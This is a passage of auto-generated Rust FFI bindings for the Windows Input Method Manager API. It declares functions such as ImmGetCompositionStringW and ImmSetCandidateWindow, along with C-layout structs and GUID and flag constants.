ImmGenerateMessage(param0: super::super::super::Globalization::HIMC) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Globalization")] pub fn ImmGetCandidateListA(param0: super::super::super::Globalization::HIMC, deindex: u32, lpcandlist: *mut CANDIDATELIST, dwbuflen: u32) -> u32; #[cfg(feature = "Win32_Globalization")] pub fn ImmGetCandidateListCountA(param0: super::super::super::Globalization::HIMC, lpdwlistcount: *mut u32) -> u32; #[cfg(feature = "Win32_Globalization")] pub fn ImmGetCandidateListCountW(param0: super::super::super::Globalization::HIMC, lpdwlistcount: *mut u32) -> u32; #[cfg(feature = "Win32_Globalization")] pub fn ImmGetCandidateListW(param0: super::super::super::Globalization::HIMC, deindex: u32, lpcandlist: *mut CANDIDATELIST, dwbuflen: u32) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmGetCandidateWindow(param0: super::super::super::Globalization::HIMC, param1: u32, lpcandidate: *mut CANDIDATEFORM) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] pub fn ImmGetCompositionFontA(param0: super::super::super::Globalization::HIMC, lplf: *mut super::super::super::Graphics::Gdi::LOGFONTA) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] pub fn ImmGetCompositionFontW(param0: super::super::super::Globalization::HIMC, lplf: *mut super::super::super::Graphics::Gdi::LOGFONTW) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Globalization")] pub fn ImmGetCompositionStringA(param0: super::super::super::Globalization::HIMC, param1: u32, lpbuf: *mut ::core::ffi::c_void, dwbuflen: u32) -> i32; #[cfg(feature = "Win32_Globalization")] pub fn ImmGetCompositionStringW(param0: super::super::super::Globalization::HIMC, param1: u32, lpbuf: *mut ::core::ffi::c_void, dwbuflen: u32) -> i32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmGetCompositionWindow(param0: super::super::super::Globalization::HIMC, lpcompform: *mut COMPOSITIONFORM) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmGetContext(param0: super::super::super::Foundation::HWND) -> super::super::super::Globalization::HIMC; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_UI_TextServices"))] pub fn ImmGetConversionListA(param0: super::super::TextServices::HKL, param1: super::super::super::Globalization::HIMC, lpsrc: super::super::super::Foundation::PSTR, lpdst: *mut CANDIDATELIST, dwbuflen: u32, uflag: GET_CONVERSION_LIST_FLAG) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_UI_TextServices"))] pub fn ImmGetConversionListW(param0: super::super::TextServices::HKL, param1: super::super::super::Globalization::HIMC, lpsrc: super::super::super::Foundation::PWSTR, lpdst: *mut CANDIDATELIST, dwbuflen: u32, uflag: GET_CONVERSION_LIST_FLAG) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmGetConversionStatus(param0: super::super::super::Globalization::HIMC, lpfdwconversion: *mut u32, lpfdwsentence: *mut u32) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Foundation")] pub fn ImmGetDefaultIMEWnd(param0: super::super::super::Foundation::HWND) -> super::super::super::Foundation::HWND; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmGetDescriptionA(param0: super::super::TextServices::HKL, lpszdescription: super::super::super::Foundation::PSTR, ubuflen: u32) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmGetDescriptionW(param0: super::super::TextServices::HKL, lpszdescription: super::super::super::Foundation::PWSTR, ubuflen: u32) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmGetGuideLineA(param0: super::super::super::Globalization::HIMC, dwindex: GET_GUIDE_LINE_TYPE, lpbuf: super::super::super::Foundation::PSTR, dwbuflen: u32) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmGetGuideLineW(param0: super::super::super::Globalization::HIMC, dwindex: GET_GUIDE_LINE_TYPE, lpbuf: super::super::super::Foundation::PWSTR, dwbuflen: u32) -> u32; #[cfg(feature = "Win32_Foundation")] pub fn ImmGetHotKey(param0: u32, lpumodifiers: *mut u32, lpuvkey: *mut u32, phkl: *mut isize) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Globalization")] pub fn ImmGetIMCCLockCount(param0: super::super::super::Globalization::HIMCC) -> u32; #[cfg(feature = "Win32_Globalization")] pub fn ImmGetIMCCSize(param0: super::super::super::Globalization::HIMCC) -> u32; #[cfg(feature = "Win32_Globalization")] pub fn ImmGetIMCLockCount(param0: super::super::super::Globalization::HIMC) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmGetIMEFileNameA(param0: super::super::TextServices::HKL, lpszfilename: super::super::super::Foundation::PSTR, ubuflen: u32) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmGetIMEFileNameW(param0: super::super::TextServices::HKL, lpszfilename: super::super::super::Foundation::PWSTR, ubuflen: u32) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] pub fn ImmGetImeMenuItemsA(param0: super::super::super::Globalization::HIMC, param1: u32, param2: u32, lpimeparentmenu: *mut IMEMENUITEMINFOA, lpimemenu: *mut IMEMENUITEMINFOA, dwsize: u32) -> u32; #[cfg(all(feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] pub fn ImmGetImeMenuItemsW(param0: super::super::super::Globalization::HIMC, param1: u32, param2: u32, lpimeparentmenu: *mut IMEMENUITEMINFOW, lpimemenu: *mut IMEMENUITEMINFOW, dwsize: u32) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmGetOpenStatus(param0: super::super::super::Globalization::HIMC) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_UI_TextServices")] pub fn ImmGetProperty(param0: super::super::TextServices::HKL, param1: u32) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmGetRegisterWordStyleA(param0: super::super::TextServices::HKL, nitem: u32, lpstylebuf: *mut STYLEBUFA) -> u32; #[cfg(feature = "Win32_UI_TextServices")] pub fn ImmGetRegisterWordStyleW(param0: super::super::TextServices::HKL, nitem: u32, lpstylebuf: *mut STYLEBUFW) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmGetStatusWindowPos(param0: super::super::super::Globalization::HIMC, lpptpos: *mut super::super::super::Foundation::POINT) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Foundation")] pub fn ImmGetVirtualKey(param0: super::super::super::Foundation::HWND) -> u32; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmInstallIMEA(lpszimefilename: super::super::super::Foundation::PSTR, lpszlayouttext: super::super::super::Foundation::PSTR) -> super::super::TextServices::HKL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmInstallIMEW(lpszimefilename: super::super::super::Foundation::PWSTR, lpszlayouttext: super::super::super::Foundation::PWSTR) -> super::super::TextServices::HKL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmIsIME(param0: super::super::TextServices::HKL) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Foundation")] pub fn ImmIsUIMessageA(param0: super::super::super::Foundation::HWND, param1: u32, param2: super::super::super::Foundation::WPARAM, param3: super::super::super::Foundation::LPARAM) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Foundation")] pub fn ImmIsUIMessageW(param0: super::super::super::Foundation::HWND, param1: u32, param2: super::super::super::Foundation::WPARAM, param3: super::super::super::Foundation::LPARAM) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] pub fn ImmLockIMC(param0: super::super::super::Globalization::HIMC) -> *mut INPUTCONTEXT; #[cfg(feature = "Win32_Globalization")] pub fn ImmLockIMCC(param0: super::super::super::Globalization::HIMCC) -> *mut ::core::ffi::c_void; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmNotifyIME(param0: super::super::super::Globalization::HIMC, dwaction: NOTIFY_IME_ACTION, dwindex: NOTIFY_IME_INDEX, dwvalue: u32) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Globalization")] pub fn ImmReSizeIMCC(param0: super::super::super::Globalization::HIMCC, param1: u32) -> super::super::super::Globalization::HIMCC; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmRegisterWordA(param0: super::super::TextServices::HKL, lpszreading: super::super::super::Foundation::PSTR, param2: u32, lpszregister: super::super::super::Foundation::PSTR) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmRegisterWordW(param0: super::super::TextServices::HKL, lpszreading: super::super::super::Foundation::PWSTR, param2: u32, lpszregister: super::super::super::Foundation::PWSTR) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmReleaseContext(param0: super::super::super::Foundation::HWND, param1: super::super::super::Globalization::HIMC) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmRequestMessageA(param0: super::super::super::Globalization::HIMC, param1: super::super::super::Foundation::WPARAM, param2: super::super::super::Foundation::LPARAM) -> super::super::super::Foundation::LRESULT; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmRequestMessageW(param0: super::super::super::Globalization::HIMC, param1: super::super::super::Foundation::WPARAM, param2: super::super::super::Foundation::LPARAM) -> super::super::super::Foundation::LRESULT; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmSetCandidateWindow(param0: super::super::super::Globalization::HIMC, lpcandidate: *const CANDIDATEFORM) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] pub fn ImmSetCompositionFontA(param0: super::super::super::Globalization::HIMC, lplf: *const super::super::super::Graphics::Gdi::LOGFONTA) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] pub fn ImmSetCompositionFontW(param0: super::super::super::Globalization::HIMC, lplf: *const super::super::super::Graphics::Gdi::LOGFONTW) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmSetCompositionStringA(param0: super::super::super::Globalization::HIMC, dwindex: SET_COMPOSITION_STRING_TYPE, lpcomp: *const ::core::ffi::c_void, dwcomplen: u32, lpread: *const ::core::ffi::c_void, dwreadlen: u32) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmSetCompositionStringW(param0: super::super::super::Globalization::HIMC, dwindex: SET_COMPOSITION_STRING_TYPE, lpcomp: *const ::core::ffi::c_void, dwcomplen: u32, lpread: *const ::core::ffi::c_void, dwreadlen: u32) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmSetCompositionWindow(param0: super::super::super::Globalization::HIMC, lpcompform: *const COMPOSITIONFORM) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmSetConversionStatus(param0: super::super::super::Globalization::HIMC, param1: u32, param2: u32) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmSetHotKey(param0: u32, param1: u32, param2: u32, param3: super::super::TextServices::HKL) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmSetOpenStatus(param0: super::super::super::Globalization::HIMC, param1: super::super::super::Foundation::BOOL) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmSetStatusWindowPos(param0: super::super::super::Globalization::HIMC, lpptpos: *const super::super::super::Foundation::POINT) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Foundation")] pub fn ImmShowSoftKeyboard(param0: super::super::super::Foundation::HWND, param1: i32) -> super::super::super::Foundation::BOOL; #[cfg(feature = "Win32_Foundation")] pub fn ImmSimulateHotKey(param0: super::super::super::Foundation::HWND, param1: u32) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmUnlockIMC(param0: super::super::super::Globalization::HIMC) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub fn ImmUnlockIMCC(param0: super::super::super::Globalization::HIMCC) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmUnregisterWordA(param0: super::super::TextServices::HKL, lpszreading: super::super::super::Foundation::PSTR, param2: u32, lpszunregister: super::super::super::Foundation::PSTR) -> super::super::super::Foundation::BOOL; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_TextServices"))] pub fn ImmUnregisterWordW(param0: super::super::TextServices::HKL, lpszreading: super::super::super::Foundation::PWSTR, param2: u32, lpszunregister: super::super::super::Foundation::PWSTR) -> super::super::super::Foundation::BOOL; } #[repr(C)] pub struct APPLETIDLIST { pub count: i32, pub pIIDList: *mut ::windows_sys::core::GUID, } impl ::core::marker::Copy for APPLETIDLIST {} impl ::core::clone::Clone for APPLETIDLIST { fn clone(&self) -> Self { *self } } #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct APPLYCANDEXPARAM { pub dwSize: u32, pub lpwstrDisplay: super::super::super::Foundation::PWSTR, pub lpwstrReading: super::super::super::Foundation::PWSTR, pub dwReserved: u32, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for APPLYCANDEXPARAM {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for APPLYCANDEXPARAM { fn clone(&self) -> Self { *self } } pub const ATTR_CONVERTED: u32 = 2u32; pub const ATTR_FIXEDCONVERTED: u32 = 5u32; pub const ATTR_INPUT: u32 = 0u32; pub const ATTR_INPUT_ERROR: u32 = 4u32; pub const ATTR_TARGET_CONVERTED: u32 = 1u32; pub const ATTR_TARGET_NOTCONVERTED: u32 = 3u32; #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct CANDIDATEFORM { pub dwIndex: u32, pub dwStyle: u32, pub ptCurrentPos: super::super::super::Foundation::POINT, pub rcArea: super::super::super::Foundation::RECT, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for CANDIDATEFORM {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for CANDIDATEFORM { fn clone(&self) -> Self { *self } } #[repr(C)] pub struct CANDIDATEINFO { pub dwSize: u32, pub dwCount: u32, pub dwOffset: [u32; 32], pub dwPrivateSize: u32, pub dwPrivateOffset: u32, } impl ::core::marker::Copy for CANDIDATEINFO {} impl ::core::clone::Clone for CANDIDATEINFO { fn clone(&self) -> Self { *self } } #[repr(C)] pub struct CANDIDATELIST { pub dwSize: u32, pub dwStyle: u32, pub dwCount: u32, pub dwSelection: u32, pub dwPageStart: u32, pub dwPageSize: u32, pub dwOffset: [u32; 1], } impl ::core::marker::Copy for CANDIDATELIST {} impl ::core::clone::Clone for CANDIDATELIST { fn clone(&self) -> Self { *self } } pub const CATID_MSIME_IImePadApplet: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 1969670865, data2: 20169, data3: 17528, data4: [159, 233, 142, 215, 102, 97, 158, 223], }; pub const CATID_MSIME_IImePadApplet1000: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 3766608342, data2: 9097, data3: 17355, data4: [182, 111, 96, 159, 130, 61, 159, 156], }; pub const CATID_MSIME_IImePadApplet1200: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 2759833084, data2: 32021, data3: 16931, data4: [167, 137, 183, 129, 191, 154, 230, 103], }; pub const CATID_MSIME_IImePadApplet900: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 4205728191, data2: 24155, data3: 18973, data4: [141, 225, 23, 193, 217, 225, 114, 141], }; pub const CATID_MSIME_IImePadApplet_VER7: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 1242533425, data2: 50158, data3: 4561, data4: [175, 239, 0, 128, 95, 12, 139, 109] }; pub const CATID_MSIME_IImePadApplet_VER80: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 1459070866, data2: 65265, data3: 4563, data4: [132, 99, 0, 192, 79, 122, 6, 229] }; pub const CATID_MSIME_IImePadApplet_VER81: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 1701126320, data2: 48008, data3: 4564, data4: [132, 192, 0, 192, 79, 122, 6, 229] }; pub const CActiveIMM: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 1230363955, data2: 45401, data3: 4560, data4: [143, 207, 0, 170, 0, 107, 204, 89] }; pub const CFS_CANDIDATEPOS: u32 = 64u32; pub const CFS_DEFAULT: u32 = 0u32; pub const CFS_EXCLUDE: u32 = 128u32; pub const CFS_FORCE_POSITION: u32 = 32u32; pub const CFS_POINT: u32 = 2u32; pub const CFS_RECT: u32 = 1u32; pub const CHARINFO_APPLETID_MASK: u32 = 4278190080u32; pub const CHARINFO_CHARID_MASK: u32 = 65535u32; pub const CHARINFO_FEID_MASK: u32 = 15728640u32; pub const CLSID_ImePlugInDictDictionaryList_CHS: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 2079330971, data2: 23535, data3: 19940, data4: [155, 11, 94, 219, 102, 172, 47, 166], }; pub const CLSID_ImePlugInDictDictionaryList_JPN: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 1340241771, data2: 45305, data3: 17302, data4: [181, 252, 233, 212, 207, 30, 193, 149], }; pub const CLSID_VERSION_DEPENDENT_MSIME_JAPANESE: ::windows_sys::core::GUID = ::windows_sys::core::GUID { data1: 1787888286, data2: 43593, data3: 18203, data4: [174, 231, 125, 51, 39, 133, 102, 13], }; #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct COMPOSITIONFORM { pub dwStyle: u32, pub ptCurrentPos: super::super::super::Foundation::POINT, pub rcArea: super::super::super::Foundation::RECT, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for COMPOSITIONFORM {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for COMPOSITIONFORM { fn clone(&self) -> Self { *self } } #[repr(C)] pub struct COMPOSITIONSTRING { pub dwSize: u32, pub dwCompReadAttrLen: u32, pub dwCompReadAttrOffset: u32, pub dwCompReadClauseLen: u32, pub dwCompReadClauseOffset: u32, pub dwCompReadStrLen: u32, pub dwCompReadStrOffset: u32, pub dwCompAttrLen: u32, pub dwCompAttrOffset: u32, pub dwCompClauseLen: u32, pub dwCompClauseOffset: u32, pub dwCompStrLen: u32, pub dwCompStrOffset: u32, pub dwCursorPos: u32, pub dwDeltaStart: u32, pub dwResultReadClauseLen: u32, pub dwResultReadClauseOffset: u32, pub dwResultReadStrLen: u32, pub dwResultReadStrOffset: u32, pub dwResultClauseLen: u32, pub dwResultClauseOffset: u32, pub dwResultStrLen: u32, pub dwResultStrOffset: u32, pub dwPrivateSize: u32, pub dwPrivateOffset: u32, } impl ::core::marker::Copy for COMPOSITIONSTRING {} impl ::core::clone::Clone for COMPOSITIONSTRING { fn clone(&self) -> Self { *self } } pub const CS_INSERTCHAR: u32 = 8192u32; pub const CS_NOMOVECARET: u32 = 16384u32; pub const E_LARGEINPUT: u32 = 51u32; pub const E_NOCAND: u32 = 48u32; pub const E_NOTENOUGH_BUFFER: u32 = 49u32; pub const E_NOTENOUGH_WDD: u32 = 50u32; pub const FEID_CHINESE_HONGKONG: u32 = 3u32; pub const FEID_CHINESE_SIMPLIFIED: u32 = 2u32; pub const FEID_CHINESE_SINGAPORE: u32 = 4u32; pub const FEID_CHINESE_TRADITIONAL: u32 = 1u32; pub const FEID_JAPANESE: u32 = 5u32; pub const FEID_KOREAN: u32 = 6u32; pub const FEID_KOREAN_JOHAB: u32 = 7u32; pub const FEID_NONE: u32 = 0u32; pub const FELANG_CLMN_FIXD: u32 = 32u32; pub const FELANG_CLMN_FIXR: u32 = 16u32; pub const FELANG_CLMN_NOPBREAK: u32 = 8u32; pub const FELANG_CLMN_NOWBREAK: u32 = 2u32; pub const FELANG_CLMN_PBREAK: u32 = 4u32; pub const FELANG_CLMN_WBREAK: u32 = 1u32; pub const FELANG_CMODE_AUTOMATIC: u32 = 134217728u32; pub const FELANG_CMODE_BESTFIRST: u32 = 16384u32; pub const FELANG_CMODE_BOPOMOFO: u32 = 64u32; pub const FELANG_CMODE_CONVERSATION: u32 = 536870912u32; pub const FELANG_CMODE_FULLWIDTHOUT: u32 = 32u32; pub const FELANG_CMODE_HALFWIDTHOUT: u32 = 16u32; pub const FELANG_CMODE_HANGUL: u32 = 128u32; pub const FELANG_CMODE_HIRAGANAOUT: u32 = 0u32; pub const FELANG_CMODE_KATAKANAOUT: u32 = 8u32; pub const FELANG_CMODE_MERGECAND: u32 = 4096u32; pub const FELANG_CMODE_MONORUBY: u32 = 2u32; pub const FELANG_CMODE_NAME: u32 = 268435456u32; pub const FELANG_CMODE_NOINVISIBLECHAR: u32 = 1073741824u32; pub const FELANG_CMODE_NONE: u32 = 16777216u32; pub const FELANG_CMODE_NOPRUNING: u32 = 4u32; pub const FELANG_CMODE_PHRASEPREDICT: u32 = 268435456u32; pub const FELANG_CMODE_PINYIN: u32 = 256u32; pub const FELANG_CMODE_PLAURALCLAUSE: u32 = 33554432u32; pub const FELANG_CMODE_PRECONV: u32 = 512u32; pub const FELANG_CMODE_RADICAL: u32 = 1024u32; pub const FELANG_CMODE_ROMAN: u32 = 8192u32; pub const FELANG_CMODE_SINGLECONVERT: u32 = 67108864u32; pub const FELANG_CMODE_UNKNOWNREADING: u32 = 2048u32; pub const FELANG_CMODE_USENOREVWORDS: u32 = 32768u32; pub const FELANG_INVALD_PO: u32 = 65535u32; pub const FELANG_REQ_CONV: u32 = 65536u32; pub const FELANG_REQ_RECONV: u32 = 131072u32; pub const FELANG_REQ_REV: u32 = 196608u32; pub const FID_MSIME_KMS_DEL_KEYLIST: u32 = 4u32; pub const FID_MSIME_KMS_FUNCDESC: u32 = 9u32; pub const FID_MSIME_KMS_GETMAP: u32 = 6u32; pub const FID_MSIME_KMS_GETMAPFAST: u32 = 11u32; pub const FID_MSIME_KMS_GETMAPSEAMLESS: u32 = 10u32; pub const FID_MSIME_KMS_INIT: u32 = 2u32; pub const FID_MSIME_KMS_INVOKE: u32 = 7u32; pub const FID_MSIME_KMS_NOTIFY: u32 = 5u32; pub const FID_MSIME_KMS_SETMAP: u32 = 8u32; pub const FID_MSIME_KMS_TERM: u32 = 3u32; pub const FID_MSIME_KMS_VERSION: u32 = 1u32; pub const FID_MSIME_VERSION: u32 = 0u32; pub const FID_RECONVERT_VERSION: u32 = 268435456u32; pub const GCSEX_CANCELRECONVERT: u32 = 268435456u32; pub const GCS_COMPATTR: u32 = 16u32; pub const GCS_COMPCLAUSE: u32 = 32u32; pub const GCS_COMPREADATTR: u32 = 2u32; pub const GCS_COMPREADCLAUSE: u32 = 4u32; pub const GCS_COMPREADSTR: u32 = 1u32; pub const GCS_COMPSTR: u32 = 8u32; pub const GCS_CURSORPOS: u32 = 128u32; pub const GCS_DELTASTART: u32 = 256u32; pub const GCS_RESULTCLAUSE: u32 = 4096u32; pub const GCS_RESULTREADCLAUSE: u32 = 1024u32; pub const GCS_RESULTREADSTR: u32 = 512u32; pub const GCS_RESULTSTR: u32 = 2048u32; pub type GET_CONVERSION_LIST_FLAG = u32; pub const GCL_CONVERSION: GET_CONVERSION_LIST_FLAG = 1u32; pub const GCL_REVERSECONVERSION: GET_CONVERSION_LIST_FLAG = 2u32; pub const GCL_REVERSE_LENGTH: GET_CONVERSION_LIST_FLAG = 3u32; pub type GET_GUIDE_LINE_TYPE = u32; pub const GGL_LEVEL: GET_GUIDE_LINE_TYPE = 1u32; pub const GGL_INDEX: GET_GUIDE_LINE_TYPE = 2u32; pub const GGL_STRING: GET_GUIDE_LINE_TYPE = 3u32; pub const GGL_PRIVATE: GET_GUIDE_LINE_TYPE = 4u32; pub const GL_ID_CANNOTSAVE: u32 = 17u32; pub const GL_ID_CHOOSECANDIDATE: u32 = 40u32; pub const GL_ID_INPUTCODE: u32 = 38u32; pub const GL_ID_INPUTRADICAL: u32 = 37u32; pub const GL_ID_INPUTREADING: u32 = 36u32; pub const GL_ID_INPUTSYMBOL: u32 = 39u32; pub const GL_ID_NOCONVERT: u32 = 32u32; pub const GL_ID_NODICTIONARY: u32 = 16u32; pub const GL_ID_NOMODULE: u32 = 1u32; pub const GL_ID_PRIVATE_FIRST: u32 = 32768u32; pub const GL_ID_PRIVATE_LAST: u32 = 65535u32; pub const GL_ID_READINGCONFLICT: u32 = 35u32; pub const GL_ID_REVERSECONVERSION: u32 = 41u32; pub const GL_ID_TOOMANYSTROKE: u32 = 34u32; pub const GL_ID_TYPINGERROR: u32 = 33u32; pub const GL_ID_UNKNOWN: u32 = 0u32; pub const GL_LEVEL_ERROR: u32 = 2u32; pub const GL_LEVEL_FATAL: u32 = 1u32; pub const GL_LEVEL_INFORMATION: u32 = 4u32; pub const GL_LEVEL_NOGUIDELINE: u32 = 0u32; pub const GL_LEVEL_WARNING: u32 = 3u32; #[repr(C)] pub struct GUIDELINE { pub dwSize: u32, pub dwLevel: u32, pub dwIndex: u32, pub dwStrLen: u32, pub dwStrOffset: u32, pub dwPrivateSize: u32, pub dwPrivateOffset: u32, } impl ::core::marker::Copy for GUIDELINE {} impl ::core::clone::Clone for GUIDELINE { fn clone(&self) -> Self { *self } } pub const IACE_CHILDREN: u32 = 1u32; pub const IACE_DEFAULT: u32 = 16u32; pub const IACE_IGNORENOCONTEXT: u32 = 32u32; pub type IActiveIME = *mut ::core::ffi::c_void; pub type IActiveIME2 = *mut ::core::ffi::c_void; pub type IActiveIMMApp = *mut ::core::ffi::c_void; pub type IActiveIMMIME = *mut ::core::ffi::c_void; pub type IActiveIMMMessagePumpOwner = *mut ::core::ffi::c_void; pub type IActiveIMMRegistrar = *mut ::core::ffi::c_void; pub type IEnumInputContext = *mut ::core::ffi::c_void; pub type IEnumRegisterWordA = *mut ::core::ffi::c_void; pub type IEnumRegisterWordW = *mut ::core::ffi::c_void; pub const IFEC_S_ALREADY_DEFAULT: ::windows_sys::core::HRESULT = 291840i32; pub type IFEClassFactory = *mut ::core::ffi::c_void; pub type IFECommon = *mut ::core::ffi::c_void; pub const IFED_E_INVALID_FORMAT: ::windows_sys::core::HRESULT = -2147192063i32; pub const IFED_E_NOT_FOUND: ::windows_sys::core::HRESULT = -2147192064i32; pub const IFED_E_NOT_SUPPORTED: ::windows_sys::core::HRESULT = -2147192057i32; pub const IFED_E_NOT_USER_DIC: ::windows_sys::core::HRESULT = -2147192058i32; pub const IFED_E_NO_ENTRY: ::windows_sys::core::HRESULT = -2147192060i32; pub const IFED_E_OPEN_FAILED: ::windows_sys::core::HRESULT = -2147192062i32; pub const IFED_E_REGISTER_DISCONNECTED: ::windows_sys::core::HRESULT = -2147192053i32; pub const IFED_E_REGISTER_FAILED: ::windows_sys::core::HRESULT = -2147192059i32; pub const IFED_E_REGISTER_ILLEGAL_POS: ::windows_sys::core::HRESULT = -2147192055i32; pub const IFED_E_REGISTER_IMPROPER_WORD: ::windows_sys::core::HRESULT = -2147192054i32; pub const IFED_E_USER_COMMENT: ::windows_sys::core::HRESULT = -2147192056i32; pub const IFED_E_WRITE_FAILED: ::windows_sys::core::HRESULT = -2147192061i32; pub const IFED_POS_ADJECTIVE: u32 = 4u32; pub const IFED_POS_ADJECTIVE_VERB: u32 = 8u32; pub const IFED_POS_ADNOUN: u32 = 32u32; pub const IFED_POS_ADVERB: u32 = 16u32; pub const IFED_POS_AFFIX: u32 = 1536u32; pub const IFED_POS_ALL: u32 = 131071u32; pub const IFED_POS_AUXILIARY_VERB: u32 = 32768u32; pub const IFED_POS_CONJUNCTION: u32 = 64u32; pub const IFED_POS_DEPENDENT: u32 = 114688u32; pub const IFED_POS_IDIOMS: u32 = 4096u32; pub const IFED_POS_INDEPENDENT: u32 = 255u32; pub const IFED_POS_INFLECTIONALSUFFIX: u32 = 256u32; pub const IFED_POS_INTERJECTION: u32 = 128u32; pub const IFED_POS_NONE: u32 = 0u32; pub const IFED_POS_NOUN: u32 = 1u32; pub const IFED_POS_PARTICLE: u32 = 16384u32; pub const IFED_POS_PREFIX: u32 = 512u32; pub const IFED_POS_SUB_VERB: u32 = 65536u32; pub const IFED_POS_SUFFIX: u32 = 1024u32; pub const IFED_POS_SYMBOLS: u32 = 8192u32; pub const IFED_POS_TANKANJI: u32 = 2048u32; pub const IFED_POS_VERB: u32 = 2u32; pub const IFED_REG_ALL: u32 = 7u32; pub const IFED_REG_AUTO: u32 = 2u32; pub const IFED_REG_GRAMMAR: u32 = 4u32; 